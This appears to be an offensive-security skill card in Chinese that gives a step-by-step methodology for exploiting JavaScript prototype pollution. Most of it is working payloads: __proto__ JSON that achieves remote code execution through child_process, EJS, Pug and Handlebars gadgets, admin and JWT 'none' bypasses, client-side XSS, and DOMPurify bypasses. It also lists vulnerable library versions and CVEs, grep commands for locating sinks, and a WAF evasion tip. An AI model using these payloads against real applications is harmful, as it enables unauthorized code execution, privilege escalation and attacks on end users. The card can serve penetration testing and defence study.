| name | prototype-pollution-exploit |
| description | JavaScript 原型链污染漏洞利用方法论。当目标为 Node.js 应用、使用 lodash/jQuery/深拷贝函数、接收 JSON 输入时使用。覆盖 Server-side(RCE/权限绕过)和 Client-side(XSS/DOM 操控)两种场景 |
| metadata | {"tags":"prototype pollution,__proto__,constructor,javascript,nodejs,lodash,json,原型链污染,RCE,XSS","category":"exploit","mitre_attack":"T1059.007,T1190"} |
JavaScript 原型链污染漏洞利用
核心原理:通过修改 Object.prototype,向所有 JavaScript 对象注入恶意属性
⛔ 深入参考
Phase 1: 识别原型链污染点
1.1 常见触发模式
存在漏洞的代码模式:
├─ 递归合并/深拷贝: merge(target, userInput)
├─ 路径赋值: obj[a][b] = value(a/b 来自用户)
├─ lodash: _.merge / _.defaultsDeep / _.set(旧版本)
├─ jQuery: $.extend(true, {}, userInput)
└─ 自定义 deepCopy/assign 函数
1.2 测试 Payload
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes
[{"__proto__": {"polluted": "yes"}}]
1.3 检测是否成功
console.log({}.polluted);
Phase 2: Server-side 利用(RCE 优先)
2.1 决策树
目标环境?
├─ Node.js + child_process 可触发
│ └─ 污染 shell/env/NODE_OPTIONS → RCE
├─ Node.js + 模板引擎(EJS/Pug/Handlebars)
│ └─ 污染模板编译选项 → RCE
├─ Node.js + 认证逻辑
│ └─ 污染 isAdmin/role → 权限绕过
└─ 无直接 RCE 路径
└─ 污染配置项(DEBUG/verbose)→ 信息泄露
2.2 RCE via child_process
{"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/environ"
}}
{"__proto__": {
"env": {
"NODE_OPTIONS": "--require=./malicious.js"
},
"shell": "/bin/bash"
}}
2.3 RCE via EJS 模板引擎
{"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
}}
{"__proto__": {
"client": true,
"escapeFunction": "1;return process.mainModule.require('child_process').execSync('id');"
}}
2.4 RCE via Pug/Jade
{"__proto__": {
"block": {
"type": "Text",
"val": "x]);process.mainModule.require('child_process').execSync('id');//"
}
}}
2.5 RCE via Handlebars
{"__proto__": {
"main": "\n return process.mainModule.require('child_process').execSync('id').toString();\n"
}}
2.6 权限绕过
{"__proto__": {"isAdmin": true}}
{"__proto__": {"role": "admin"}}
{"__proto__": {"verified": true}}
{"__proto__": {"algorithm": "none"}}
Phase 3: Client-side 利用
3.1 XSS via DOM 属性污染
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
?__proto__[src]=data:,alert(1)
?__proto__[onload]=alert(1)
3.2 绕过 DOMPurify/Sanitizer
{"__proto__": {"ALLOWED_TAGS": ["img", "script"]}}
{"__proto__": {"ADD_ATTR": ["onerror", "onload"]}}
{"__proto__": {"RETURN_DOM": true}}
3.3 jQuery Gadget
{"__proto__": {"class": "xss-class", "onclick": "alert(1)"}}
Phase 4: 常见框架漏洞版本
| 库 | 漏洞版本 | CVE |
|---|
| lodash merge | < 4.17.12 | CVE-2019-10744 |
| lodash defaultsDeep | < 4.17.12 | CVE-2019-10744 |
| jQuery extend | < 3.4.0 | CVE-2019-11358 |
| minimist | < 1.2.6 | CVE-2021-44906 |
| class-transformer | < 0.3.1 | — |
| Hoek (hapi) | < 5.0.3 | CVE-2018-3728 |
| Handlebars | < 4.6.0 | CVE-2019-19919 |
| EJS | < 3.1.7 | CVE-2022-29078 |
Phase 5: 自动化发现
grep -rn "merge\|assign\|extend\|deepCopy" --include="*.js" .
grep -rn "\[.*\]\[.*\].*=" --include="*.js" .
npm audit
npm ls lodash
⛔ 注意事项
- Node.js 的
--disable-proto=throw 选项会阻止 __proto__ 访问
Object.create(null) 创建的对象无原型 → 不可污染
- ES2022
Object.hasOwn() 不受原型影响
- 某些 WAF 会过滤
__proto__ → 用 constructor.prototype 绕过